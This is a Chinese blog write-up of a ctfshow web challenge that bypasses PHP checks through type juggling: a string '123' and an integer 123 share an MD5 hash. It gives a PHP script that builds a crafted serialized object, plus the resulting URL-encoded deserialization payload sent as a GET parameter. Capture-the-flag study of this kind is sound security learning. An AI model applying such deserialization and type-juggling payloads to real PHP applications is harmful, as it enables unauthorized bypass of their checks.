CTF Show-Web-签到·好玩的PHP

知识点

PHP语言、序列化、反序列化

解题步骤

 代码审计,发现需要构造一个序列化的字符串绕过多个条件检查,使得反序列化后的对象满足以下条件:

        (1)$d,$s,$b三个属性值互不相同,连接成$dsb,连接后的长度<=3

        (2)$ctf的长度<=3

        (3)$dsb和$ctf不严格相等,但MD5哈希值相等

初始尝试:

        MD5强碰撞,由于长度限制不可能

        数字转为字符串长度=5,超过限制

构造方案:

        利用PHP的松散比较,使$dsb="123",$ctf=123,PHP计算MD5会先将数字转换为字符串

<?php
class ctfshow{
    private $d = '1';    //字符串"1"
    private $s = '2';  // 字符串"2"
    private $b = '3';  // 字符串"3"
    private $ctf = 123; // 整数123
}    //构造恶意对象
$obj = new ctfshow();

echo urlencode(serialize($obj));    //将序列化后的结构进行URL编码后的Payload
?>

        运行后输出:

O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D//O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D

 最终payload,发送GET请求:

?dsbctf=O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D

 总结

巧妙地利用了PHP的类型转换特性,在满足所有严格条件的同时,绕过了MD5碰撞的长度限制。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值